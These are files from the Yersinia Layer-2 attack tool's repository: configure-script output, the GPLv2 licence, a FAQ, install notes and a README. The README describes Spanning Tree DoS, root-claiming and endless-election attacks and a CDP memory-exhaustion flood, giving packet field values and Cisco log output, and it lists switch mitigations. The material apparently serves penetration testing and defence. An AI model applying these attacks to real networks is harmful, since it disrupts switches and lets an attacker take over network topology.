AH_TEMPLATE([INFO_DATE], "Building date") info_date="`date '+%a %d-%b-%Y %H:%M'`" info_kern="`uname -s`" info_kern_ver="`uname -r`" info_platform="`uname -m`" AC_DEFINE_UNQUOTED(INFO_KERN, "$info_kern") AC_DEFINE_UNQUOTED(INFO_KERN_VER, "$info_kern_ver") AC_DEFINE_UNQUOTED(INFO_PLATFORM, "$info_platform") AC_DEFINE_UNQUOTED(INFO_DATE, "$info_date") dnl dnl Build Makefile. dnl dnl AC_CONFIG_FILES([Makefile]) AC_OUTPUT(Makefile src/Makefile) echo "" echo " Yersinia, our beloved one, has been configured with the following options." echo " Remote admin : $enable_admin" echo " Use ncurses : $has_curses" echo " Use gtk : $use_gtk" echo ""
yersinia/COPYING
GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS Appendix: How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) 19yy <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License.
yersinia/FAQ
yersinia FAQ INDEX 1. General Questions: 1.1 Where can I get help? 1.2 Where did the name come from? 1.3 How do you dare to implement a tool for doing nasty things? 1.4 Wtf? This crappy software does not run in Windows. 2. Downloading yersinia: 2.1 Where can I download yersinia? 3. Building yersinia: 3.1 How can I build yersinia? 3.2 How can I compile yersinia on Mac OSX? 3.3 When will be the 'put_your_preferred_os_here' supported? 4. Installing yersinia: 4.1 How can I install yersinia? 5. Using yersinia: 5.1 I've resized my window and yersinia is displaying crappy data! 5.2 There are some fields in the packet that don't display their meaning! 5.3 I'm unable to switch between the different protocol windows!! 5.4 Why the hell the ncurses interface has a lot more options than the Cisco interface? 5.5 Arrgggghhh!!! The proggy crashes 'ad infinitum', is this a f*ck*n' sh*t? 5.6 I can't see thouse fancy colours in Yersinia 6. Personal questions: 6.1 Who are you? 6.2 You are so handsome!!! I want to meet you in real life. 1. General Questions Q 1.1: Where can I get help? A: There is no official support for yersinia, but you can try to send an e-mail to yersinia _-AT-_ yersinia_-DOT-_ net and wait if something happens. Q 1.2: Where did the name come from? A: No other bacteria, perhaps organism, had so much of an effect on human history as Yersinia pestis, the bacteria that causes plague. Many outbreaks of plague have caused death and population reduction throughout history. The most famous, however, was the notorious Black Death of medeival times that killed one third of the population of 14th century Europe. People watched their family and friends die with sickly buboes (swollen lymph nodes) on their necks and a color near black all over their bodies, caused by respiratory failure. People who contracted the disease and were unable to fight it off died within three to five days. (taken from http://members.aol.com/omaryak/plague/) Q 1.3 How do you dare to implement a tool for doing nasty things? A: Hey! take it easy. We are pen-testers, so we need this little proggie for making chaos in our customers networks. Running yersinia to do "bad things" is not recommended and could cause inestability and serious troubles to your health. Q: 1.4 Wtf? This crappy software does not run in Windows. A: No, it does certainly not. Perhaps some nice fellow could port yersinia to Windows and make you happy. 2. Downloading yersinia Q 2.1: Where can I download yersinia? A: Try http://www.yersinia.net, downloads section. 3. Building yersinia Q 3.1: How can I build yersinia? A: Do a './configure', and then 'make' Q 3.2: How can I compile yersinia on Mac OSX? A: Install XCode, Darwin ports, and the following ports: autoconf automake expat gettext glib2-devel libiconv libnet11 libpcap pkgconfig @0.21_0 (active) Q 3.3: When will be the 'put_your_preferred_os_here' supported? A: When someone (like you) help us compiling and patching Yersinia 4. Installing yersinia Q 4.1: How can I install yersinia? A: Do a 'make install' 5. Using yersinia Q 5.1: I've resized my window and yersinia is displaying crappy data! A: Please press Ctrl+L to clear and refresh the screen Q 5.2: There are some fields in the packet that don't display their meaning! A: Please, use the best tool for dissecting packets: ethereal. Q 5.3: I'm unable to switch between different protocol windows!! A: To switch between protocol windows you must use the function keys. Unfortunately the way function keys works is different with different terminal emulations. If you have problems with the function keys enable some other function keys emulation in your client terminal software, e.g.: On PuTTY select Terminal -> Keyboard and mark "The Function Keys and keypad" as "Xterm R6". Q 5.4: Why the hell the ncurses interface has a lot more options than the Cisco interface? A: Man... we are developing this proggy out of work time, it's just a matter of time... Anyway you can try to help us... :) Q 5.5: Arrgggghhh!!! The proggy crashes 'ad infinitum', is this a f*ck*n' sh*t? A: First of all thanks a lot for your invaluable opinion... :-P On the other hand, we are *NOT* professional developers... By the way, have you noticed the proggy version (0.5.x)? :-P Anyway you can send us a patch solving the problem and you will get your 5 minutes of fame... :D Q 5.6: I can't see thouse fancy colours in Yersinia A: Set your $TERM to pcvt25, little prairie dog 6. Personal questions: Q 6.1: Who are you? A: A couple of good friends and coworkers who enjoy a lot to play within the network security field. By the way we like a lot the spanish food. :D. Q 6.2 You are so handsome!!! I want to meet you in real life. A: Girls are welcome. But take into account the following sentence: 'If you spend more time sharpening your axe, you'll spend less time chopping wood'
yersinia/INSTALL
Last release and CVS/SVN repository can be always accessed at https://github.com/tomac/yersinia http://www.yersinia.net Requirements ------------ - Pcap library at least 0.8, you can get it at: http://www.tcpdump.org - Libnet library at least 1.1.2, you can get it at: http://www.packetfactory.net/libnet - If you want to compile the GTK2 interface you'll need the GTK libraries with GTK >= v2.6.0 Sources from CVS/SVN repository ------------------------------- If the sources have been obtained from the CVS/SVN repository you will need the autotools and automake packages. Autoconf must be at least version 2.52 and automake must be at least version 1.6. To install Yersinia: ./autogen.sh ./configure make make install Sources from distribution ------------------------- The usual way: ./configure make make install Configure options ----------------- Tha main configure options are the following: --disable-admin Disable the remote admin interface --disable-gtk Disable the gtk 2.0 interface --with-pcap-includes Specify the pcap include directory --with-libnet-includes Specify the libnet include directory Systems supported ----------------- Due to our lack of resources, we've only been able to test Yersinia in a few different operating systems; so please, if you have any other system that is not included in the list below, send us a mail :) - OpenBSD 3.4 (note: upgrade your pcap libraries to at least 0.7.2) - Linux 2.4.x and 2.6.x - Solaris 5.8 64bits SPARC. - FreeBSD 5.2.1 Do you wanna port yersinia to other systems? Plz, tell us, but keep in mind that you *SHOULD* have the platform in order to test it 'cause we don't have all posible platforms (Ebay rules, but we can't afford it). Plz, send your comments to: [email protected] [email protected]
yersinia/README
[![Build Status](https://travis-ci.org/tomac/yersinia.svg?branch=master)](https://travis-ci.org/tomac/yersinia) Spanning Tree ------------- #1: DOS attack sending conf BPDUs Let's send some conf BPDUs claiming be root!!! By sending continously conf BPDU with root pathcost 0, randomly generated bridge id (and therefore the same root id), and some default values for other fields, we try to annoy the switches close to us, causing a DoS when trying to parse and recalculate their STP engines. Source MAC: randomly generated. Destination MAC: 01:80:c2:00:00:00 Bridge ID: 8000:source_mac Root ID: 8000:source_mac Hello time: 2 Forward delay: 15 Max age: 20 Root pathcost: 0 <output from the cisco log> 01:20:26: STP: VLAN0001 heard root 32768-d1bf.6d60.097b on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-9ac6.0f72.7118 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-85a3.3662.43dc on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-3d84.bc1c.918e on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-b2e2.1a12.dbb4 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-4ba6.2d45.5844 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-deb0.4f14.7288 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-4879.8036.0e24 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-2776.e340.9222 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-299e.de76.c07d on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-d38b.bc5b.e90d on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-78ee.0205.afdb on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-b32b.e969.81b1 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-b16b.c428.88a3 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-dd01.1436.9044 on Fa0/8 </output> #2: DOS attack sending tcn BPDUs This attack sends continously tcn BPDUs causing the root switch to send conf BPDUs acknowledging the change. Besides, the root switch will send topology change notifications to the members of the tree, and they will have to recalculate their STP engine to learn the new change. Source MAC: randomly generated. Destination MAC: 01:80:c2:00:00:00 <output from the cisco log> 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 </output> #3: NONDOS attack Claiming Root Role Now our aim is to get the root role of the tree. How can we accomplish this issue? Just listening to the network to find out which one is the root role, and start sending conf BPDU with lower priority to become root. Source MAC: same one as the sniffed BPDU. Destination MAC: same one as the sniffed BPDU. Bridge ID: the sniffed one slightly modified to have a lower priority Root ID: 8000: same as bridge id. Hello time: same one as the sniffed BPDU. Forward delay: same one as the sniffed BPDU. Max age: same one as the sniffed BPDU. Root pathcost: same one as the sniffed BPDU. <output from the cisco log> 01:58:48: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/8 01:58:48: supersedes 32769-000e.84d5.2280 01:58:48: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/8, cost 19 </output> #4 NONDOS attack Claiming a non-root role We pretend to be another weird switch playing with STP and praising our root id :) #5 DOS attack causing eternal root elections By sending config BPDUs autodecrementing their priority, we can cause infinite root elections in the STP tree. It would be something similar to recount the election's votes to determine the winner (do you remember Florida?) <output from the cisco log> 00:20:21: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 00:20:21: supersedes 32769-000e.84d5.2280 00:20:21: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 00:20:23: STP: VLAN0001 heard root 32769-000e.84d3.2280 on Fa0/9 00:20:23: supersedes 32769-000e.84d4.2280 00:20:23: STP: VLAN0001 new root is 32769, 000e.84d3.2280 on port Fa0/9, cost 19 00:20:25: STP: VLAN0001 heard root 32769-000e.84d2.2280 on Fa0/9 00:20:25: supersedes 32769-000e.84d3.2280 00:20:25: STP: VLAN0001 new root is 32769, 000e.84d2.2280 on port Fa0/9, cost 19 00:20:27: STP: VLAN0001 heard root 32769-000e.84d1.2280 on Fa0/9 00:20:27: supersedes 32769-000e.84d2.2280 00:20:27: STP: VLAN0001 new root is 32769, 000e.84d1.2280 on port Fa0/9, cost 19 00:20:29: STP: VLAN0001 heard root 32769-000e.84d0.2280 on Fa0/9 00:20:29: supersedes 32769-000e.84d1.2280 00:20:29: STP: VLAN0001 new root is 32769, 000e.84d0.2280 on port Fa0/9, cost 19 00:20:31: STP: VLAN0001 heard root 32769-000e.84cf.2280 on Fa0/9 00:20:31: supersedes 32769-000e.84d0.2280 00:20:31: STP: VLAN0001 new root is 32769, 000e.84cf.2280 on port Fa0/9, cost 19 00:20:33: STP: VLAN0001 heard root 32769-000e.84ce.2280 on Fa0/9 00:20:33: supersedes 32769-000e.84cf.2280 00:20:33: STP: VLAN0001 new root is 32769, 000e.84ce.2280 on port Fa0/9, cost 19 00:20:35: STP: VLAN0001 heard root 32769-000e.84cd.2280 on Fa0/9 00:20:35: supersedes 32769-000e.84ce.2280 00:20:35: STP: VLAN0001 new root is 32769, 000e.84cd.2280 on port Fa0/9, cost 19 00:20:37: STP: VLAN0001 heard root 32769-000e.84cc.2280 on Fa0/9 00:20:37: supersedes 32769-000e.84cd.2280 00:20:37: STP: VLAN0001 new root is 32769, 000e.84cc.2280 on port Fa0/9, cost 19 00:20:39: STP: VLAN0001 heard root 32769-000e.84cb.2280 on Fa0/9 00:20:39: supersedes 32769-000e.84cc.2280 00:20:39: STP: VLAN0001 new root is 32769, 000e.84cb.2280 on port Fa0/9, cost 19 </output> #6 DOS Attack causing root dissapearance This time we try to exhaust the root election proccess. We manage to become root in the STP tree, but we stop sending config BPDUs until it reaches max_age seconds (usually 20), forcing a new election proccess. <output from the cisco log> 02:02:43: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 02:02:43: supersedes 32769-000e.84d5.2280 02:02:43: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 02:03:03: STP: VLAN0001 we are the spanning tree root 02:03:04: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 02:03:04: supersedes 32769-000e.84d5.2280 02:03:04: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 02:03:04: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:06: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:08: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:10: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:12: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:14: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:16: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:18: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:20: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:22: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:24: STP: VLAN0001 we are the spanning tree root 02:03:24: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 02:03:24: supersedes 32769-000e.84d5.2280 02:03:24: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 02:03:24: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:26: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:28: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:30: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:32: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:34: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:36: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:38: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:40: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:42: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:44: STP: VLAN0001 we are the spanning tree root </output> Mitigations (Cisco only) ------------------------ - Use port security and disable STP in those ports that don't require STP. For information about port security, please check the following url: http://www.cisco.com/en/US/products/hw/switches/ps628/products_configuration_guide_chapter09186a0080150bcd.html - If you are using the portfast feature in your STP configuration, enable also the BPDU guard for avoiding these attacks when the port automatically enters the forwarding state: http://www.cisco.com/warp/public/473/65.html - Use the root guard feature for avoiding rogue devices to become root: http://www.cisco.com/en/US/tech/tk389/tk621/technologies_tech_note09186a00800ae96b.shtml Further reading --------------- - Guillermo Marro's nice Master Thesis: http://seclab.cs.ucdavis.edu/papers/Marro_masters_thesis.pdf - Oleg K. Artemjev, Vladislav V. Myasnyankin. Fun with the Spanning Tree Protocol http://phrack.org/issues/61/12.html CDP --- Cisco devices have always spoken a different language to communicate among them, to tell everybody that they are alive and which nifty features they have. CDP stands for Cisco Discovery Protocol. By means of this particular language, Cisco devices set up a virtual world where everyone is happy and ther is no crime at all. Or at least it seems to be this way, since many network administrators aren't worried for CDP yet. Although some of information that can be sent in a CDP packet is still undocumented (CDP is a propietary protocol and it seems that Cisco does not want to give details about it), at least one old attack (that it is still valid) is known, and there is a public implementation (FX did it!). This attack is a DoS trying to exhaust the device memory so that it can't allocate more memory for any device process. How can we do it? Simply sending CDP packets with bogus data simulating real Cisco devices. The target device will begin to allocate memory in its CDP table to save the new neighbor information, but without knowing that it is going to have thousands or millions of new friends. Other attack implemented in the current code is the ability to set up a new virtual Cisco device that it is designated only for make a little mess, trying to confuse network administrators. Screenshot of the attack running: Output of a Cisco 2503 router: athens#sh mem Head Total(b) Used(b) Free(b) Lowest(b) Largest(b) Processor 4873C 3893444 3893444 0 0 0 I/O 400000 2097152 2097088 64 64 64 <log> %SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57). -Process= "CDP Protocol", ipl= 6, pid= 9 -Traceback= 3159232 31594DE 3201660 %LANCE-5-COLL: Unit 0, excessive collisions. TDR=7 %SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57). -Process= "CDP Protocol", ipl= 6, pid= 9 -Traceback= 3159232 31594DE 3201660 %SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 314E8A4 314FA06 3201B46 32016C8 %SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57). -Process= "CDP Protocol", ipl= 6, pid= 9 -Traceback= 3159232 31594DE 3201660 %SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 314E8A4 314FA06 3201B46 32016C8 %SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 314E8A4 314FA06 3201B46 32016C8 </log> And a couple of minutes later after killing the attack, the router surprisingly gets halted for several seconds, and then kicks you out of the terminal :) <log> %SYS-3-CPUHOG: Task ran for 16884 msec (69/69), Process = Exec, PC = 3158D42 -Traceback= 3158CEE 3158D4A 30F7330 30F742A 30FF3A4 30FEF76 30FEF1C 3116860 </log> Output of a Cisco 2950 switch: 00:06:08: %SYS-2-MALLOCFAIL: Memory allocation of 224 bytes failed from 0x800118D0, alignment 0 Pool: Processor Free: 0 Cause: Not enough free memory Alternate Pool: I/O Free: 32 Cause: Not enough free memory -Process= "CDP Protocol", ipl= 0, pid= 26 -Traceback= 801DFC30 801E1DD8 800118D8 80011218 801D932C 801D9318 00:06:08: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:09: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:10: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:11: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:12: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:13: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:14: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:15: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:16: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:17: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:18: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:19: ../src-calhoun/strata_stats.c at line 137: can't not push event list 